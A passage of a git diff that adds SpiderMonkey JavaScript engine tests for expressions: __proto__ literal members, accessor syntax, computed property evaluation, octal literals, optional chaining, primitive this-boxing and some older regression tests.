+ +(second === "nullProto" || second === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict between members: " + first + ", " + second);
+ continue;
+ }
+
+ var twoProps = g();
+
+ if (first === "nullProto" || second === "nullProto")
+ assertEq(Object.getPrototypeOf(twoProps), null);
+ else if (first === "functionProtoProto" || second === "functionProtoProto")
+ assertEq(Object.getPrototypeOf(twoProps), Function.prototype);
+ else
+ assertEq(Object.getPrototypeOf(twoProps), Object.prototype);
+
+ if (isSetter(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else if (isSetter(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "undefined");
+ }
+ else if (!isProtoMutation(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(first));
+ }
+ else
+ {
+ assertEq(true, false, "should be unreachable: " + first + ", " + second);
+ }
+
+ for (var third in members)
+ {
+ try
+ {
+ var hcode = "return " + objectStart + members[first] + ", " +
+ members[second] + ", " +
+ members[third] + objectEnd;
+ var h = Function(hcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
+ +(second === "nullProto" || second === "functionProtoProto") +
+ +(third === "nullProto" || third === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict among members: " +
+ first + ", " + second + ", " + third);
+ continue;
+ }
+
+ var threeProps = h();
+
+ if (first === "nullProto" || second === "nullProto" ||
+ third === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), null);
+ }
+ else if (first === "functionProtoProto" ||
+ second === "functionProtoProto" ||
+ third === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Function.prototype);
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Object.prototype);
+ }
+
+ if (isSetter(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(second) || (!isData(second) && isGetter(first))
+ ? "function"
+ : "undefined",
+ "\n" + hcode);
+ }
+ else if (!isProtoMutation(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(third), first + ", " + second + ", " + third);
+ if (isGetter(third))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(second) || (!isData(second) && isSetter(first))
+ ? "function"
+ : "undefined");
+ }
+ }
+ else if (isSetter(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else
+ {
+ assertEq(true, false,
+ "should be unreachable: " +
+ first + ", " + second + ", " + third);
+ }
+ }
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/object-literal-accessor-arguments.js b/js/src/tests/non262/expressions/object-literal-accessor-arguments.js
new file mode 100644
index 0000000000..5b6e7e672f
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-accessor-arguments.js
@@ -0,0 +1,42 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x(a) { } })");
+expectSyntaxError("({ get x(a, a) { } })");
+expectSyntaxError("({ get x(a, b) { } })");
+expectSyntaxError("({ get x(a, a, b) { } })");
+expectSyntaxError("({ get x(a, b, c) { } })");
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, a) { } })");
+expectSyntaxError("({ set x(a, b) { } })");
+expectSyntaxError("({ set x(a, a, b) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/object-literal-accessor-property-name.js b/js/src/tests/non262/expressions/object-literal-accessor-property-name.js
new file mode 100644
index 0000000000..11a7f20e04
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-accessor-property-name.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-property-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715682;
+var summary =
+ "Permit numbers and strings containing numbers as accessor property names";
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+({ get "0"() { } });
+({ get 0() { } });
+({ get 0.0() { } });
+({ get 0.() { } });
+({ get 1.() { } });
+({ get 5.2322341234123() { } });
+
+({ set "0"(q) { } });
+({ set 0(q) { } });
+({ set 0.0(q) { } });
+({ set 0.(q) { } });
+({ set 1.(q) { } });
+({ set 5.2322341234123(q) { } });
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js b/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js
new file mode 100644
index 0000000000..d26783d355
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199546;
+var summary =
+ "Convert computed property name expressions to property key before " +
+ "evaluating the property's value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = "foo";
+var convertsToS = { toString() { return s; } };
+
+var o = {
+ [convertsToS]: // after ToPropertyKey becomes "foo"
+ (function() {
+ s = 'bar';
+ return 'abc'; // so we have "foo": "bar" for the first property
+ })(),
+
+ [convertsToS]: // |s| was set above to "bar", so after ToPropertyKey, "bar"
+ 'efg' // so we have "bar": "efg" for the second property
+};
+
+assertEq(o.foo, "abc");
+assertEq(o.bar, "efg");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/octal-literals.js b/js/src/tests/non262/expressions/octal-literals.js
new file mode 100644
index 0000000000..abeef8736f
--- /dev/null
+++ b/js/src/tests/non262/expressions/octal-literals.js
@@ -0,0 +1,103 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 octal literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['o', 'O'];
+
+for (var i = 0; i < 8; i++)
+{
+ if (i === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 8; j++)
+ {
+ if (j === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 8; k++)
+ {
+ if (k === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 64 + j * 8 + k);
+ });
+ }
+ }
+}
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0o110/2, 36);
+assertEq(0O644/2, 210);
+
+function strict()
+{
+ "use strict";
+ return 0o755;
+}
+assertEq(strict(), 7 * 64 + 5 * 8 + 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/optional-chain-class-heritage.js b/js/src/tests/non262/expressions/optional-chain-class-heritage.js
new file mode 100644
index 0000000000..14a99c6392
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-class-heritage.js
@@ -0,0 +1,10 @@
+// Optional expression can be part of a class heritage expression.
+
+var a = {b: null};
+
+class C extends a?.b {}
+
+assertEq(Object.getPrototypeOf(C.prototype), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain-first-expression.js b/js/src/tests/non262/expressions/optional-chain-first-expression.js
new file mode 100644
index 0000000000..89912aec4a
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-first-expression.js
@@ -0,0 +1,92 @@
+// Verify bytecode emitter accepts all valid optional chain first expressions.
+
+const expressions = [
+ // https://tc39.es/ecma262/#sec-primary-expression
+ "this",
+ "ident",
+ "null",
+ "true",
+ "false",
+ "123",
+ "123n",
+ "'str'",
+ "[]",
+ "{}",
+ "function(){}",
+ "class{}",
+ "function*(){}",
+ "async function(){}",
+ "async function*(){}",
+ "/a/",
+ "`str`",
+ "(a + b)",
+
+ // https://tc39.es/ecma262/#sec-left-hand-side-expressions
+ "a[b]",
+ "a.b",
+ "a``",
+ "super[a]",
+ "super.a",
+ "new.target",
+ "import.meta",
+ "new C()",
+ "new C",
+ "f()",
+ "super()",
+ "a?.b",
+ "a?.[b]",
+ "a?.()",
+ "a?.``",
+];
+
+function tryParse(s, f = Function) {
+ try { f(s); } catch {}
+}
+
+function tryRun(s, f = Function) {
+ try { f(s)(); } catch {}
+}
+
+for (let expr of expressions) {
+ // Evaluate in an expression context.
+ tryRun(`void (${expr}?.());`);
+ tryRun(`void (${expr}?.p());`);
+
+ // Also try parenthesized.
+ tryRun(`void ((${expr})?.());`);
+ tryRun(`void ((${expr})?.p());`);
+}
+
+function inClassConstructor(s) {
+ return `class C { constructor() { ${s} } }`;
+}
+
+for (let expr of ["super[a]", "super.a", "super()"]) {
+ // Evaluate in an expression context.
+ tryRun(inClassConstructor(`void (${expr}?.());`));
+ tryRun(inClassConstructor(`void (${expr}?.p());`));
+
+ // Also try parenthesized.
+ tryRun(inClassConstructor(`void ((${expr})?.());`));
+ tryRun(inClassConstructor(`void ((${expr})?.p());`));
+}
+
+if (typeof parseModule === "function") {
+ const expressions = [
+ "import.meta",
+ "import('')",
+ ];
+
+ for (let expr of expressions) {
+ // Evaluate in an expression context.
+ tryParse(`void (${expr}?.());`, parseModule);
+ tryParse(`void (${expr}?.p());`, parseModule);
+
+ // Also try parenthesized.
+ tryParse(`void ((${expr})?.());`, parseModule);
+ tryParse(`void ((${expr})?.p());`, parseModule);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain-super-elem.js b/js/src/tests/non262/expressions/optional-chain-super-elem.js
new file mode 100644
index 0000000000..3b912a9ada
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-super-elem.js
@@ -0,0 +1,12 @@
+// Don't assert.
+
+var obj = {
+ m() {
+ super[0]?.a
+ }
+};
+
+obj.m();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain-tdz.js b/js/src/tests/non262/expressions/optional-chain-tdz.js
new file mode 100644
index 0000000000..e12d0fb860
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-tdz.js
@@ -0,0 +1,28 @@
+// Test TDZ for optional chaining.
+
+// TDZ for lexical |let| bindings with optional chaining.
+{
+ assertThrowsInstanceOf(() => {
+ const Null = null;
+ Null?.[b];
+ b = 0;
+ let b;
+ }, ReferenceError);
+
+ assertThrowsInstanceOf(() => {
+ const Null = null;
+ Null?.[b]();
+ b = 0;
+ let b;
+ }, ReferenceError);
+
+ assertThrowsInstanceOf(() => {
+ const Null = null;
+ delete Null?.[b];
+ b = 0;
+ let b;
+ }, ReferenceError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain.js b/js/src/tests/non262/expressions/optional-chain.js
new file mode 100644
index 0000000000..0845758022
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain.js
@@ -0,0 +1,263 @@
+var BUGNUMBER = 1566143;
+var summary = "Implement the Optional Chain operator (?.) proposal";
+
+print(BUGNUMBER + ": " + summary);
+
+// These tests are originally from webkit.
+// webkit specifics have been removed and error messages have been updated.
+function shouldBe(actual, expected) {
+ if (actual !== expected)
+ throw new Error(`expected ${expected} but got ${actual}`);
+}
+
+function shouldThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof SyntaxError))
+ throw new Error('Expected SyntaxError!');
+}
+
+function shouldNotThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if ((error instanceof SyntaxError))
+ throw new Error('Unxpected SyntaxError!');
+}
+
+function shouldThrowTypeError(func, messagePrefix) {
+ let error;
+ try {
+ func();
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof TypeError))
+ throw new Error('Expected TypeError!');
+
+ if (!error.message.includes(messagePrefix))
+ throw new Error(`TypeError has wrong message!, expected ${messagePrefix} but got ${error.message}`);
+}
+
+function shouldThrowReferenceError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof ReferenceError))
+ throw new Error('Expected ReferenceError!');
+}
+
+function testBasicSuccessCases() {
+ shouldBe(undefined?.valueOf(), undefined);
+ shouldBe(null?.valueOf(), undefined);
+ shouldBe(true?.valueOf(), true);
+ shouldBe(false?.valueOf(), false);
+ shouldBe(0?.valueOf(), 0);
+ shouldBe(1?.valueOf(), 1);
+ shouldBe(''?.valueOf(), '');
+ shouldBe('hi'?.valueOf(), 'hi');
+ shouldBe(({})?.constructor, Object);
+ shouldBe(({ x: 'hi' })?.x, 'hi');
+ shouldBe([]?.length, 0);
+ shouldBe(['hi']?.length, 1);
+
+ shouldBe(undefined?.['valueOf'](), undefined);
+ shouldBe(null?.['valueOf'](), undefined);
+ shouldBe(true?.['valueOf'](), true);
+ shouldBe(false?.['valueOf'](), false);
+ shouldBe(0?.['valueOf'](), 0);
+ shouldBe(1?.['valueOf'](), 1);
+ shouldBe(''?.['valueOf'](), '');
+ shouldBe('hi'?.['valueOf'](), 'hi');
+ shouldBe(({})?.['constructor'], Object);
+ shouldBe(({ x: 'hi' })?.['x'], 'hi');
+ shouldBe([]?.['length'], 0);
+ shouldBe(['hi']?.[0], 'hi');
+
+ shouldBe(undefined?.(), undefined);
+ shouldBe(null?.(), undefined);
+ shouldBe((() => 3)?.(), 3);
+}
+
+function testBasicFailureCases() {
+ shouldThrowTypeError(() => true?.(), 'true is not a function');
+ shouldThrowTypeError(() => false?.(), 'false is not a function');
+ shouldThrowTypeError(() => 0?.(), '0 is not a function');
+ shouldThrowTypeError(() => 1?.(), '1 is not a function');
+ shouldThrowTypeError(() => ''?.(), '"" is not a function');
+ shouldThrowTypeError(() => 'hi'?.(), '"hi" is not a function');
+ shouldThrowTypeError(() => ({})?.(), '({}) is not a function');
+ shouldThrowTypeError(() => ({ x: 'hi' })?.(), '({x:"hi"}) is not a function');
+ shouldThrowTypeError(() => []?.(), '[] is not a function');
+ shouldThrowTypeError(() => ['hi']?.(), '[...] is not a function');
+}
+
+testBasicSuccessCases();
+
+testBasicFailureCases();
+
+shouldThrowTypeError(() => ({})?.i(), '(intermediate value).i is not a function');
+shouldBe(({}).i?.(), undefined);
+shouldBe(({})?.i?.(), undefined);
+shouldThrowTypeError(() => ({})?.['i'](), '(intermediate value)["i"] is not a function');
+shouldBe(({})['i']?.(), undefined);
+shouldBe(({})?.['i']?.(), undefined);
+
+shouldThrowTypeError(() => ({})?.a['b'], '(intermediate value).a is undefined');
+shouldBe(({})?.a?.['b'], undefined);
+shouldBe(null?.a['b']().c, undefined);
+shouldThrowTypeError(() => ({})?.['a'].b, '(intermediate value)["a"] is undefined');
+shouldBe(({})?.['a']?.b, undefined);
+shouldBe(null?.['a'].b()['c'], undefined);
+shouldBe(null?.()().a['b'], undefined);
+
+const o0 = { a: { b() { return this._b.bind(this); }, _b() { return this.__b; }, __b: { c: 42 } } };
+shouldBe(o0?.a?.['b']?.()?.()?.c, 42);
+shouldBe(o0?.i?.['j']?.()?.()?.k, undefined);
+shouldBe((o0.a?._b)?.().c, 42);
+shouldBe((o0.a?._b)().c, 42);
+shouldBe((o0.a?.b?.())?.().c, 42);
+shouldBe((o0.a?.['b']?.())?.().c, 42);
+
+shouldBe(({ undefined: 3 })?.[null?.a], 3);
+shouldBe((() => 3)?.(null?.a), 3);
+
+const o1 = { count: 0, get x() { this.count++; return () => {}; } };
+o1.x?.y;
+shouldBe(o1.count, 1);
+o1.x?.['y'];
+shouldBe(o1.count, 2);
+o1.x?.();
+shouldBe(o1.count, 3);
+null?.(o1.x);
+shouldBe(o1.count, 3);
+
+shouldBe(delete undefined?.foo, true);
+shouldBe(delete null?.foo, true);
+shouldBe(delete undefined?.['foo'], true);
+shouldBe(delete null?.['foo'], true);
+shouldBe(delete undefined?.(), true);
+shouldBe(delete null?.(), true);
+shouldBe(delete ({}).a?.b?.b, true);
+shouldBe(delete ({a : {b: undefined}}).a?.b?.b, true);
+shouldBe(delete ({a : {b: undefined}}).a?.["b"]?.["b"], true);
+
+const o2 = { x: 0, y: 0, z() {} };
+shouldBe(delete o2?.x, true);
+shouldBe(o2.x, undefined);
+shouldBe(o2.y, 0);
+shouldBe(delete o2?.x, true);
+shouldBe(delete o2?.['y'], true);
+shouldBe(o2.y, undefined);
+shouldBe(delete o2?.['y'], true);
+shouldBe(delete o2.z?.(), true);
+
+function greet(name) { return `hey, ${name}${this.suffix ?? '.'}`; }
+shouldBe(eval?.('greet("world")'), 'hey, world.');
+shouldBe(greet?.call({ suffix: '!' }, 'world'), 'hey, world!');
+shouldBe(greet.call?.({ suffix: '!' }, 'world'), 'hey, world!');
+shouldBe(null?.call({ suffix: '!' }, 'world'), undefined);
+shouldBe(({}).call?.({ suffix: '!' }, 'world'), undefined);
+shouldBe(greet?.apply({ suffix: '?' }, ['world']), 'hey, world?');
+shouldBe(greet.apply?.({ suffix: '?' }, ['world']), 'hey, world?');
+shouldBe(null?.apply({ suffix: '?' }, ['world']), undefined);
+shouldBe(({}).apply?.({ suffix: '?' }, ['world']), undefined);
+shouldThrowSyntaxError('class C {} class D extends C { foo() { return super?.bar; } }');
+shouldThrowSyntaxError('class C {} class D extends C { foo() { return super?.["bar"]; } }');
+shouldThrowSyntaxError('class C {} class D extends C { constructor() { super?.(); } }');
+shouldThrowSyntaxError('const o = { C: class {} }; new o?.C();')
+shouldThrowSyntaxError('const o = { C: class {} }; new o?.["C"]();')
+shouldThrowSyntaxError('class C {} new C?.();')
+shouldThrowSyntaxError('function foo() { new?.target; }');
+shouldThrowSyntaxError('function tag() {} tag?.``;');
+shouldThrowSyntaxError('const o = { tag() {} }; o?.tag``;');
+shouldThrowReferenceError('`${G}`?.r');
+
+// NOT an optional chain
+shouldBe(false?.4:5, 5);
+
+// Special case: binary operators that follow a binary expression
+shouldThrowReferenceError('(0 || 1 << x)?.$');
+shouldThrowReferenceError('(0 || 1 >> x)?.$');
+shouldThrowReferenceError('(0 || 1 >>> x)?.$');
+shouldThrowReferenceError('(0 || 1 + x)?.$');
+shouldThrowReferenceError('(0 || 1 - x)?.$');
+shouldThrowReferenceError('(0 || 1 % x)?.$');
+shouldThrowReferenceError('(0 || 1 / x)?.$');
+shouldThrowReferenceError('(0 || 1 == x)?.$');
+shouldThrowReferenceError('(0 || 1 != x)?.$');
+shouldThrowReferenceError('(0 || 1 !== x)?.$');
+shouldThrowReferenceError('(0 || 1 === x)?.$');
+shouldThrowReferenceError('(0 || 1 <= x)?.$');
+shouldThrowReferenceError('(0 || 1 >= x)?.$');
+shouldThrowReferenceError('(0 || 1 ** x)?.$');
+shouldThrowReferenceError('(0 || 1 | x)?.$');
+shouldThrowReferenceError('(0 || 1 & x)?.$');
+shouldThrowReferenceError('(0 || 1 instanceof x)?.$');
+shouldThrowReferenceError('(0 || "foo" in x)?.$');
+
+function testSideEffectCountFunction() {
+ let count = 0;
+ let a = {
+ b: {
+ c: {
+ d: () => {
+ count++;
+ return a;
+ }
+ }
+ }
+ }
+
+ a.b.c.d?.()?.b?.c?.d
+
+ shouldBe(count, 1);
+}
+
+function testSideEffectCountGetters() {
+ let count = 0;
+ let a = {
+ get b() {
+ count++;
+ return { c: {} };
+ }
+ }
+
+ a.b?.c?.d;
+ shouldBe(count, 1);
+ a.b?.c?.d;
+ shouldBe(count, 2);
+}
+
+testSideEffectCountFunction();
+testSideEffectCountGetters();
+
+// stress test SM
+shouldBe(({a : {b: undefined}}).a.b?.()()(), undefined);
+shouldBe(({a : {b: undefined}}).a.b?.()?.()(), undefined);
+shouldBe(({a : {b: () => undefined}}).a.b?.()?.(), undefined);
+shouldThrowTypeError(() => delete ({a : {b: undefined}}).a?.b.b.c, '(intermediate value).a.b is undefined');
+shouldBe(delete ({a : {b: undefined}}).a?.["b"]?.["b"], true);
+shouldBe(delete undefined ?.x[y+1], true);
+shouldThrowTypeError(() => (({a : {b: () => undefined}}).a.b?.())(), 'undefined is not a function');
+shouldThrowTypeError(() => (delete[1]?.r[delete[1]?.r1]), "[...].r is undefined");
+shouldThrowTypeError(() => (delete[1]?.r[[1]?.r1]), "[...].r is undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js b/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js
new file mode 100644
index 0000000000..36cc0e9e8b
--- /dev/null
+++ b/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js
@@ -0,0 +1,106 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 732669;
+var summary = "Primitive values don't box correctly";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t;
+function returnThis() { return this; }
+
+// Boolean
+
+Boolean.prototype.method = returnThis;
+t = true.method();
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+Object.defineProperty(Boolean.prototype, "property", { get: returnThis, configurable: true });
+t = false.property;
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+delete Boolean.prototype.method;
+delete Boolean.prototype.property;
+
+
+// Number
+
+Number.prototype.method = returnThis;
+t = 5..method();
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "5");
+
+Object.defineProperty(Number.prototype, "property", { get: returnThis, configurable: true });
+t = 17..property;
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "17");
+
+delete Number.prototype.method;
+delete Number.prototype.property;
+
+
+// String
+
+String.prototype.method = returnThis;
+t = "foo".method();
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(String.prototype, "property", { get: returnThis, configurable: true });
+t = "bar".property;
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+delete String.prototype.method;
+delete String.prototype.property;
+
+
+// Object
+
+Object.prototype.method = returnThis;
+
+t = true.method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+t = 42..method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "42");
+
+t = "foo".method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(Object.prototype, "property", { get: returnThis, configurable: true });
+
+t = false.property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+t = 8675309..property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "8675309");
+
+t = "bar".property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/regress-192288.js b/js/src/tests/non262/expressions/regress-192288.js
new file mode 100644
index 0000000000..80e2563bdb
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-192288.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing 0/0 inside functions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192288
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192288;
+var summary = 'Testing 0/0 inside functions ';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return 0/0;
+}
+
+status = inSection(1);
+actual = isNaN(f());
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = isNaN(f.apply(this));
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = isNaN(eval("f.apply(this)"));
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = isNaN(Function('return 0/0;')());
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = isNaN(eval("Function('return 0/0;')()"));
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-346203.js b/js/src/tests/non262/expressions/regress-346203.js
new file mode 100644
index 0000000000..68d2c49077
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346203.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346203;
+var summary = 'Do not crash during destructuring assignment ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var {b:{c:x}}={b:{c:1}}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-01.js b/js/src/tests/non262/expressions/regress-346645-01.js
new file mode 100644
index 0000000000..ac22628946
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
